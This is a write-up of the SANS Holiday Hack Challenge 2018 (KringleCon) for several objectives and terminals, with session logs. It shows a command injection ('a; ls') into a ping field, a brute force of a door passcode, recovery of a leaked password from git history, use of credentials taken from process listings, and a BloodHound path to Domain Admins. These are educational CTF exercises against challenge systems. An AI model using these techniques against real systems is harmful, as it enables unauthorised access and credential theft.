The annual Holiday Hack Challenge by SANS and the Counterhack team takes place during Christmas time and is always entertaining and great for learning a new trick (or two). This year, the challenge was organized as an online conference, called KringleCon: https://holidayhackchallenge.com/2018/ with great talks and a well thought-out story.
The full report that was submitted to SANS, as well as scripts and CranberryPi Terminal logs can be found here https://github.com/HomeSen/CTFs/tree/master/SANS%20Holiday%20Hack%20Challenge%202018
(Management) Summary
During KringleCon, the North Pole got plagued by the infamous WannaCookie ransomware. Solving several offensive and defensive infosec-related tasks, one finally can save the North Pole from the alleged attack and thwart the nefarious plot:
The attack wasn’t real. Santa came up with that idea to find someone who will help him defend the North Pole against even the most evil attackers. Thus, he created challenges across the spectrum to find a suitable candidate.
Objectives and CranberryPi Terminals
1) Orientation Challenge
Difficulty: 1
What phrase is revealed when you answer all of the questions at the KringleCon Holiday Hack History kiosk inside the castle? For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor Skills Cranberry Pi terminal challenge.
Kiosk
Question 1
In 2015, the Dosis siblings asked
for help understanding what piece of their “Gnome in Your Home” toy?
☑ Firmware
☐ Clothing
☐ Wireless adapter
☐ Flux capacitor
Question 2
In 2015, the Dosis siblings
disassembled the conspiracy dreamt up by which corporation?
☐ Elgnirk
☑ ATNAS
☐ GIYH
☐ Savvy, Inc.
Question 3
In 2016, participants were sent off
on a problem-solving quest based on what artifact that Santa left?
☐ Tom-tom drums
☐ DNA on a mug of milk
☐ Cookie crumbs
☑ Business card
Question 4
In 2016, Linux terminals at the
North Pole could be accessed with what kind of computer?
☐ Snozberry Pi
☐ Blueberry Pi
☑ Cranberry Pi
☐ Elderberry Pi
Question 5
In 2017, the North Pole was being
bombarded by giant objects. What were they?
☐ TCP packets
☑ Snowballs
☐ Misfit toys
☐ Candy canes
Question 6
In 2017, Sam the snowman needed help
reassembling pages torn from what?
☐ The Bash man page
☐ Scrooge’s payroll ledger
☐ System swap space
☑ The Great Book
Terminal: Essential Editor Skills
For some reason, people constantly struggle to exit vi. Probably, this is the reason why newer versions of vim shows a help message, when the user presses [CTRL] + [C], stating: Type :qa! and press to abandon all changes and exit Vim
........................................
.;oooooooooooool;,,,,,,,,:loooooooooooooll:
.:oooooooooooooc;,,,,,,,,:ooooooooooooollooo:
.';;;;;;;;;;;;;;,''''''''';;;;;;;;;;;;;,;ooooo:
.''''''''''''''''''''''''''''''''''''''''';ooooo:
;oooooooooooool;''''''',:loooooooooooolc;',,;ooooo:
.:oooooooooooooc;',,,,,,,:ooooooooooooolccoc,,,;ooooo:
.cooooooooooooo:,''''''',:ooooooooooooolcloooc,,,;ooooo,
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;ooo,
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;l'
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,..
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc.
coooooooooooooo,,,,,,,,,;ooooooooooooooloooo:.
coooooooooooooo,,,,,,,,,;ooooooooooooooloo;
:llllllllllllll,'''''''';llllllllllllllc,
I'm in quite a fix, I need a quick escape.
Pepper is quite pleased, while I watch here, agape.
Her editor's confusing, though "best" she says - she yells!
My lesson one and your role is exit back to shellz.
-Bushy Evergreen
Exit vi.
~
~
~
~
~
~
~
~
~
~
~
~
~
:q
------------------------------------------------------------------
Loading, please wait......
You did it! Congratulations!
elf@46c48925178c:~$
2) Directory Browsing
Difficulty: 1
Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out. For hints on achieving this objective, please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal challenge.
The CFP Site
Browsing the CFP Site, we can see a button to apply for a spot for giving a talk.
Clicking the button, the application page opens: https://cfp.kringlecastle.com/cfp/cfp.html
Unfortunately, the KringleCon CFP is already closed:
Removing the “cfp.html” part from the URL allows us to view a directory listing of the “/cfp” folder:
Inside that folder, a “rejected-talks.csv” file could be found, which contained the answer to question °2: John McClane
Fun fact: John McClane is the mainprotagonist of the “Die Hard” movies, portrayed by Bruce Willis.
Terminal: The Name Game
Santa’s Castle Employee Onboarding system contained an “onboard” and a “system verification” process. The latter one was susceptible to a command injection, since the input was directly passed to a ping call without prior sanitation. Thus, adding a simple semicolon allowed executing arbitrary OS commands.
In a first step, the content of the current folder was listed by submitting a; ls to the “verify the system” routine. This revealed an SQLite file named onboard.db which was then opened and queried for the requested data by submitting a; sqlite3 onboard.db to the above mentioned routine:
We just hired this new worker,
Californian or New Yorker?
Think he's making some new toy bag...
My job is to make his name tag.
Golly gee, I'm glad that you came,
I recall naught but his last name!
Use our system or your own plan,
Find the first name of our guy "Chan!"
-Bushy Evergreen
To solve this challenge, determine the new worker's first name and submit to runtoanswer.
====================================================================
= =
= S A N T A ' S C A S T L E E M P L O Y E E O N B O A R D I N G =
= =
====================================================================
Press 1 to start the onboard process.
Press 2 to verify the system.
Press q to quit.
Please make a selection: 2
Validating data store for employee onboard information.
Enter address of server: a; ls
ping: unknown host a
menu.ps1 onboard.db runtoanswer
onboard.db: SQLite 3.x database
Press Enter to continue...:
Please make a selection: 2
Validating data store for employee onboard information.
Enter address of server: a; sqlite3 onboard.db
ping: unknown host a
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
onboard
sqlite> .headers on
sqlite> select * from onboard limit 1;
id|fname|lname|street1|street2|city|postalcode|phone|email
10|Karen|Duck|52 Annfield Rd||BEAL|DN14 7AU|077 8656 6609|karensduck@einrot.com
sqlite> select * from onboard where lname = 'Chan';
id|fname|lname|street1|street2|city|postalcode|phone|email
84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan90067@gmail.com
sqlite> .quit
onboard.db: SQLite 3.x database
Press Enter to continue...:
Please make a selection: 2
Validating data store for employee onboard information.
Enter address of server: a; ./runtoanswer
ping: unknown host a
Loading, please wait......
Enter Mr. Chan's first name: Scott
.;looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooool:'
'ooooooooooookOOooooxOOdodOOOOOOOdoxOOdoooooOOkoooooooxO000Okdooooooooooooo;
'oooooooooooooXMWooooOMMxodMMNKKKKxoOMMxoooooWMXoooookNMWK0KNMWOooooooooooooo;
:oooooooooooooXMWooooOMMxodMM0ooooooOMMxoooooWMXooooxMMKoooooKMMkooooooooooooo
coooooooooooooXMMMMMMMMMxodMMWWWW0ooOMMxoooooWMXooooOMMkoooookMM0ooooooooooooo
coooooooooooooXMWdddd0MMxodMM0ddddooOMMxoooooWMXooooOMMOoooooOMMkooooooooooooo
coooooooooooooXMWooooOMMxodMMKxxxxdoOMMOkkkxoWMXkkkkdXMW0xxk0MMKoooooooooooooo
cooooooooooooo0NXooookNNdodXNNNNNNkokNNNNNNOoKNNNNNXookKNNWNXKxooooooooooooooo
cooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
cooooooooooooooooooooooooooooooooooMYcNAMEcISooooooooooooooooooooooooooooooooo
cddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddo
OMMMMMMMMMMMMMMMNXXWMMMMMMMNXXWMMMMMMWXKXWMMMMWWWWWWWWWMWWWWWWWWWMMMMMMMMMMMMW
OMMMMMMMMMMMMW: .. ;MMMk' .NMX:. . .lWO d xMMMMMMMMMMMW
OMMMMMMMMMMMMo OMMWXMMl lNMMNxWK ,XMMMO .MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
OMMMMMMMMMMMMX. .cOWMN 'MMMMMMM; WMMMMMc KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
OMMMMMMMMMMMMMMKo, KN ,MMMMMMM, WMMMMMc KMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
OMMMMMMMMMMMMKNMMMO oM, dWMMWOWk cWMMMO ,MMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
OMMMMMMMMMMMMc ... cWMWl. .. .NMk. .. .oMMMMM. .MMMMMMM, .MMMMMMMMMMMMMMMW
xXXXXXXXXXXXXXKOxk0XXXXXXX0kkkKXXXXXKOkxkKXXXXXXXKOKXXXXXXXKO0XXXXXXXXXXXXXXXK
.oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo,
.looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo,
.,cllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc;.
Congratulations!
onboard.db: SQLite 3.x database
Press Enter to continue...:
Finally, for solving the challenge, the string a; ./runtoanswer was submitted to menu item 2.
3) de Bruijn Sequences
Difficulty: 1
When you break into the speaker unpreparedness room, what does Morcel Nougat say? For hints on achieving this objective, please visit Tangle Coalbox and help him with Lethal ForensicELFication Cranberry Pi terminal challenge.
Door Lock
In order to break the door’s passcode, it was first investigated how the application interacts with the server. It was discovered, that GET requests to https://doorpasscode.kringlecastle.com/checkpass.php?i=FOUR_DIGIT_KEY&resourceId=802432c0-0246-4a2a-ba37-1da75bbcf6f4 are issued. Using a simple Python script for generating a de Bruijn sequence with k=4 and n=4, and then submitting the 4-digit elements of that sequence to the server, quickly gave revealed the correct passcode:
$ python door_passcode.py
Calculating De Bruijn sequence for k=4, n=4 ...
Trying potential keys ...
Found key: 0120
Server response:
{"success":true,"resourceId":"802432c0-0246-4a2a-ba37-1da75bbcf6f4","hash":"7d6f67bb21449eaa2e3df1f78ad1c800a2382bbc77ebbb2862f6883282bbeb5b","message":"Correct guess!"}
Done.
Terminal: Lethal ForensicELFication
The vim text editor tracks recently opened files and issued commands inside the .viminfo file in the user’s HOME folder. Investigating that file revealed that all occurances of “Elinore” in the file .secrets/her/poem.txt have been replaced by “NEVERMORE”:
............'''',,,;;;::ccclloooddxxkkOO00KKXXNNWWMMMMMM
............'''',,,;;;::ccclloooddxxkkOO00KKXXNNWWMMMMMM
.,. ,. .......,. .',..'',,..:::::,,;:c:::ccooooodxkkOOkOO0KKXXXNNWMMMMMMM
ldd: .d' ';... .o: .d;.;:....'dl,;do,:lloc:codddodOOxxk0KOOKKKKXNNNWMMMMMMM
lo.ol.d' ';'.. ,d'.lc..;:,,,.'docod:,:l:locldlddokOxdxxOK0OKKKXXXNNWMMMMMMM
lo lod' '; co:o...;:....'dl':dl,:l::oodlcddoxOkxxk0KOOKKKKXNNNWMMMMMMM
,, ,;. ...... .;:....',,,,''c:'':l;;c:;:llccoooodkkOOOkOO0KKKXNNNWMMMMMMM
............'''',,,;;;::ccclloooddxxkkOO00KKXXNNWWMMMMMM
............'''',,,;;;::ccclloooddxxkkOO00KKXXNNWWMMMMMM
Christmas is coming, and so it would seem,
ER (Elf Resources) crushes elves' dreams.
One tells me she was disturbed by a bloke.
He tells me this must be some kind of joke.
Please do your best to determine what's real.
Has this jamoke, for this elf, got some feels?
Lethal forensics ain't my cup of tea;
If YOU can fake it, my hero you'll be.
One more quick note that might help you complete,
Clearing this mess up that's now at your feet.
Certain text editors can leave some clue.
Did our young Romeo leave one for you?
- Tangle Coalbox, ER Investigator
Find the first name of the elf of whom a love poem
was written. Complete this challenge by submitting
that name to runtoanswer.
elf@8a95dfb14d6e:~$ ls -la
total 5460
drwxr-xr-x 1 elf elf 4096 Dec 14 16:28 .
drwxr-xr-x 1 root root 4096 Dec 14 16:28 ..
-rw-r--r-- 1 elf elf 419 Dec 14 16:13 .bash_history
-rw-r--r-- 1 elf elf 220 May 15 2017 .bash_logout
-rw-r--r-- 1 elf elf 3540 Dec 14 16:28 .bashrc
-rw-r--r-- 1 elf elf 675 May 15 2017 .profile
drwxr-xr-x 1 elf elf 4096 Dec 14 16:28 .secrets
-rw-r--r-- 1 elf elf 5063 Dec 14 16:13 .viminfo
-rwxr-xr-x 1 elf elf 5551072 Dec 14 16:13 runtoanswer
elf@8a95dfb14d6e:~$ cat .viminfo
# This viminfo file was generated by Vim 8.0.
# You may edit it if you're careful!
# Viminfo version
|1,4
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&Elinore
# Last Substitute String:
$NEVERMORE
# Command Line History (newest to oldest):
:wq
|2,0,1536607231,,"wq"
:%s/Elinore/NEVERMORE/g
|2,0,1536607217,,"%s/Elinore/NEVERMORE/g"
:r .secrets/her/poem.txt
|2,0,1536607201,,"r .secrets/her/poem.txt"
:q
|2,0,1536606844,,"q"
:w
|2,0,1536606841,,"w"
:s/God/fates/gc
|2,0,1536606833,,"s/God/fates/gc"
:%s/studied/looking/g
|2,0,1536602549,,"%s/studied/looking/g"
:%s/sound/tenor/g
|2,0,1536600579,,"%s/sound/tenor/g"
:r .secrets/her/poem.txt
|2,0,1536600314,,"r .secrets/her/poem.txt"
[snip]
elf@8a95dfb14d6e:~$ ./runtoanswer
Loading, please wait......
Who was the poem written about? Elinore
WWNXXK00OOkkxddoolllcc::;;;,,,'''.............
WWNXXK00OOkkxddoolllcc::;;;,,,'''.............
WWNXXK00OOkkxddoolllcc::;;;,,,'''.............
WWNXXKK00OOOxddddollcccll:;,;:;,'...,,.....'',,''. ....... .''''''
WWNXXXKK0OOkxdxxxollcccoo:;,ccc:;...:;...,:;'...,:;. ,,....,,. ::'....
WWNXXXKK0OOkxdxxxollcccoo:;,cc;::;..:;..,::... ;:, ,,. .,,. ::'...
WWNXXXKK0OOkxdxxxollcccoo:;,cc,';:;':;..,::... ,:; ,,,',,' ::,'''.
WWNXXXK0OOkkxdxxxollcccoo:;,cc,'';:;:;..'::'.. .;:. ,,. ',' ::.
WWNXXXKK00OOkdxxxddooccoo:;,cc,''.,::;....;:;,,;:,. ,,. ',' ::;;;;;
WWNXXKK0OOkkxdddoollcc:::;;,,,'''...............
WWNXXK00OOkkxddoolllcc::;;;,,,'''.............
WWNXXK00OOkkxddoolllcc::;;;,,,'''.............
Thank you for solving this mystery, Slick.
Reading the .viminfo sure did the trick.
Leave it to me; I will handle the rest.
Thank you for giving this challenge your best.
-Tangle Coalbox
-ER Investigator
Congratulations!
4) Data Repo Analysis
Difficulty: 2
Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file? For hints on achieving this objective, please visit Wunorse Openslae and help him with Stall Mucking Report Cranberry Pi terminal challenge.
Santa’s Castle Automation repository
After cloning the repository, it was investigated using truffleHog, quickly revealing the correct password for the encrypted ZIP file that contained map files for the Google Ventilation maze:
$ truffleHog file:///workspace/HolidayHackChallenge2018/santas_castle_automation/
[snip]
~~~~~~~~~~~~~~~~~~~~~
Reason: High Entropy
Date: 2018-12-11 08:16:57
Hash: 0dfdc124b43a4e7e1233599c429c0328ec8b01ef
Filepath: schematics/for_elf_eyes_only.md
Branch: origin/master
Commit: important update
@@ -1,15 +0,0 @@
-Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
-
-Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did!
-
-
-Hopefully this is the last time we have to change our password again until next Christmas.
-
-
-
-
-Password = 'Yippee-ki-yay'
-
-
-Change ID = '9ed54617547cfca783e0f81f8dc5c927e3d1e3'
-
[snip]
Terminal: Stall Mucking Report
Listing all running processes revealed instances of the samba-wrapper.sh script. Since the output of ps usually gets cut at the end of the line, it was piped into more, to see the full lines. Using the smbclient and the discovered credentials, the report could be uploaded without any issues:
l,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
kxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
kkkxc,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
kkkkkxl,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
kkkkkkkkl;,,c,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,o:,,,,,,,,,,,
kkkkkkkkkkok0,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,0K;,,,,,,,,,,
kkkkkkkkkkOXXd,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,dXXl,,,,,,,,,,
kkkkkkkkkkOXXXk:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;,,,,,dXXXc,,,,,,,,,,
kkkkkkkkkkk0XXXXk:,,k:,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,:K:,,l0XXXO,,,,,,,,,,,
kkkkkkkkkkkk0XXXXXOkXx,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,xX0xKXXXXk,,,,,,,,,,,,
kkkkkkkkkkkkkOKXXXXXXXkxddo;,,,,,,,,,,,,,,,,,,,,,,,,cddxkXXXXXXXkc,,,,,,,,,,,,,
kkkkkkkkkkkkkkkk00KXXXXXkl,,,,,,,,,,,,oKOc,,,,,,,,,,,:xXXXX0kdc;,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkKXXXKx:,,,,,,,,;dKXXXX0l,,,,,,,,cxXXXXk,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkk0XXXXX0xoc;,;dKXXXXXXXX0l;:cokKXXXXKo,,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkk0KXXXXXXXXXXXXXXXXXXXXXXXXXXXXKkl,,,,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkkkkkOO00XXXXXXXXXXXXXXXXXXXxc:;,,,,,,,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkkkkkkO0XNWWNNXXXXXXXXXXNNWWN0o,,,,,,,,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkkkkO0XWMMMMMMNXXXXXXXNWMMMMMMNKo,,,,,,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkkk0XXWMMMMMMMMNXXXXXXWMMMMMMMMNX0c,,,,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkOKXXNMMMMMMMMMWXXXXXNMMMMMMMMMWXXXx,,,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkOXXXXNMMMMMMMMMMXXXXXNMMMMMMMMMWXXXXk,,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkKXXXXNMMMMXl:dWWXXXXXNMXl:dWMMMWXXXXXd,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkk0XXXXXXNMMMo KNXXXXXXNo KMMMNXXXXXX;,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkKXXXXXXXNWMM0kKNXXXXXXXXN0kXMMWNXXXXXXXo,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkXXXXXXXXXXNNNNXXXX0xxKXXXXNNNNXXXXXXXXXx,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkXXXXXXXXXXXXXXXXX' oXXXXXXXXXXXXXXXXd,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkk0XXXXXXXXXXXXXXXX. cXXXXXXXXXXXXXXXXc,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkOXXXXXXXXXXXXXXXXXdllkXXXXXXXXXXXXXXXXk,,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkk0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXkl,,,,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkk0XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXOkkkl;,,,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkkOXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXKkkkkkkko;,,,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkkkk0XXXXXXXXXXXXXXXXXXXXXXXXXXXKOkkkkkkkkkkd:,,,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkkkkkkOKXXXXXXXXXXXXXXXXXXXXXXKOkkkkkkkkkkkkkkd:,,,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkO0KXXXXXXXXXXXXXXK0Okkkkkkkkkkkkkkkkkkkd:,,,,,,,,
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOO000000OOkkkkkkkkkkkkkkkkkkkkkkkkkkxc,,,,,,
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxl,,,,
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkxl,,
kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkx;
Thank you Madam or Sir for the help that you bring!
I was wondering how I might rescue my day.
Finished mucking out stalls of those pulling the sleigh,
My report is now due or my KRINGLE's in a sling!
There's a samba share here on this terminal screen.
What I normally do is to upload the file,
With our network credentials (we've shared for a while).
When I try to remember, my memory's clean!
Be it last night's nog bender or just lack of rest,
For the life of me I can't send in my report.
Could there be buried hints or some way to contort,
Gaining access - oh please now do give it your best!
-Wunorse Openslae
Complete this challenge by uploading the elf's report.txt
file to the samba share at //localhost/report-upload/
elf@95f588344345:~$ ps -ef | more
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 20:06 pts/0 00:00:00 /bin/bash /sbin/init
root 11 1 0 20:06 pts/0 00:00:00 sudo -u manager /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
root 12 1 0 20:06 pts/0 00:00:00 sudo -E -u manager /usr/bin/python /home/manager/report-check.py
root 16 1 0 20:06 pts/0 00:00:00 sudo -u elf /bin/bash
manager 17 12 0 20:06 pts/0 00:00:00 /usr/bin/python /home/manager/report-check.py
manager 18 11 0 20:06 pts/0 00:00:00 /bin/bash /home/manager/samba-wrapper.sh --verbosity=none --no-check-certificate --extraneous-command-argument --do-not-run-as-tyler --accept-sage-advice -a 42 -d~ --ignore-sw-holiday-special --suppress --suppress //localhost/report-upload/ directreindeerflatterystable -U report-upload
elf 19 16 0 20:06 pts/0 00:00:00 /bin/bash
manager 20 18 0 20:06 pts/0 00:00:00 sleep 60
root 24 1 0 20:06 ? 00:00:00 /usr/sbin/smbd
root 25 24 0 20:06 ? 00:00:00 /usr/sbin/smbd
root 26 24 0 20:06 ? 00:00:00 /usr/sbin/smbd
root 28 24 0 20:06 ? 00:00:00 /usr/sbin/smbd
elf 30 19 0 20:07 pts/0 00:00:00 ps -ef
elf 31 19 0 20:07 pts/0 00:00:00 more
elf@95f588344345:~$ ls
report.txt
elf@95f588344345:~$ smbclient //localhost/report-upload/ directreindeerflatterystable -U report-upload -c "put report.txt"
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.12-Debian]
putting file report.txt as \report.txt (500.9 kb/s) (average 501.0 kb/s)
elf@95f588344345:~$
.;;;;;;;;;;;;;;;'
,NWOkkkkkkkkkkkkkkNN;
..KM; Stall Mucking ,MN..
OMNXNMd. .oMWXXM0.
;MO l0NNNNNNNNNNNNNNN0o xMc
:MO xMl '.
:MO dOOOOOOOOOOOOOOOOOd. xMl :l:.
.cc::::::::;;;;;;;;;;;,oMO .0NNNNNNNNNNNNNNNNN0. xMd,,,,,,,,,,,,,clll:.
'kkkkxxxxxddddddoooooooxMO ..'''''''''''. xMkcccccccllllllllllooc.
'kkkkxxxxxddddddoooooooxMO .MMMMMMMMMMMMMM, xMkcccccccllllllllllooool
'kkkkxxxxxddddddoooooooxMO '::::::::::::, xMkcccccccllllllllllool,
.ooooollllllccccccccc::dMO xMx;;;;;::::::::lllll'
:MO .ONNNNNNNNXk xMl :lc'
:MO dOOOOOOOOOo xMl ;.
:MO 'cccccccccccccc:' xMl
:MO .WMMMMMMMMMMMMMMMW. xMl
:MO ............... xMl
.NWxddddddddddddddddddddddddNW'
;ccccccccccccccccccccccccc;
You have found the credentials I just had forgot,
And in doing so you've saved me trouble untold.
Going forward we'll leave behind policies old,
Building separate accounts for each elf in the lot.
-Wunorse Openslae
The Google ventilation maze
Not realizing that the encrypted zip file might contain a map for the maze, I actually created my own map with pen and a sheet of squared paper, though I should rather have used a pencil 😀
Using one square per step, the map of both levels could easily be created, by simple going back to the next crossing, whenever a dead end is hit. Once the exit has been found, we can reach the room with Alabaster, Santa and Hans.
5) AD Privilege Discovery
Difficulty: 3
Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws. For hints on achieving this objective, please visit Holly Evergreen and help her with the CURLing Master Cranberry Pi terminal challenge.
Slingshot Linux image
Using the provided Bloodhound instance from the Linux image, the predefined “Shortest Paths to Domain Admins from Kerberoastable Users” revealed all potential user accounts:
From there, only the user account LDUBEJ00320@AD.KRINGLECASTLE.COM met the criteria to avoid using RDP for privilege escalation:
Terminal: CURLing Master
Investigating /etc/nginx/nginx.conf, we can see that it is configured to only accept HTTP/2 requests. Requesting the servers home page via curl –http2 –http2-prior-knowledge http://localhost:8080 indicated that a POST request with the parameter “status=on” should be sent to the server. Using CURL, again, the striper was started in no time: curl –http2 –http2-prior-knowledge –data “status=on” http://localhost:8080
.....................................
...',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'....
...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'...
......'''''''''''''''''''''''',,,,,,,'...
............................',,,,,,,...
...,,,,,,'...
..',,,,,,'..
...,,,,,,,...
...,,,,,,,...
........................................,,,,,,,'......
.....''''''''''''''''''''''''''''''''''''',,,,,,,,,,'''.....
...............................................................
...............................................................
.:llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllc.
.llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll;
'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll:
.kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk:
o0000000000000000000000000000000000000000000000000000000000000000000000O
O00000000000000000000000000000000000000000000000000000000000000000000000'
O00000000000000000000000000000000000000000000000000000000000000000000000'
d0000000000000000000000000000000000000000000000000000000000000000000000O.
'OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOc
,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll:
,llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll:
.clllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll'
'clllllllllllllllllllllllllllllllllllllllllllllllllllllllllll,
.,clllllllllllllllllllllllllllllllllllllllllllllllllllll;.
.';:cllllllllllllllllllllllllllllllllllllllllcc;,..
I am Holly Evergreen, and now you won't believe:
Once again the striper stopped; I think I might just leave!
Bushy set it up to start upon a website call.
Darned if I can CURL it on - my Linux skills apall.
Could you be our CURLing master - fixing up this mess?
If you are, there's one concern you surely must address.
Something's off about the conf that Bushy put in place.
Can you overcome this snag and save us all some face?
Complete this challenge by submitting the right HTTP
request to the server at http://localhost:8080/ to
get the candy striper started again. You may view
the contents of the nginx.conf file in
/etc/nginx/, if helpful.
elf@82206de9d85d:~$ cat /etc/nginx/nginx.conf
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 768;
# multi_accept on;
}
http {
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
# server_tokens off;
# server_names_hash_bucket_size 64;
# server_name_in_redirect off;
include /etc/nginx/mime.types;
default_type application/octet-stream;
server {
# love using the new stuff! -Bushy
listen 8080 http2;
# server_name localhost 127.0.0.1;
root /var/www/html;
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
if (!-f $document_root$fastcgi_script_name) {
return 404;
}
# Mitigate https://httpoxy.org/ vulnerabilities
fastcgi_param HTTP_PROXY "";
# fastcgi_pass 127.0.0.1:9000;
fastcgi_pass unix:/var/run/php/php-fpm.sock;
fastcgi_index index.php;
# include the fastcgi_param setting
include fastcgi_params;
# SCRIPT_FILENAME parameter is used for PHP FPM determining
# the script name. If it is not set in fastcgi_params file,
# i.e. /etc/nginx/fastcgi_params or in the parent contexts,
# please comment off following line:
# fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
##
# Logging Settings
##
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log;
##
# Gzip Settings
##
gzip on;
gzip_disable "msie6";
# gzip_vary on;
# gzip_proxied any;
# gzip_comp_level 6;
# gzip_buffers 16 8k;
# gzip_http_version 1.1;
# gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
##
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
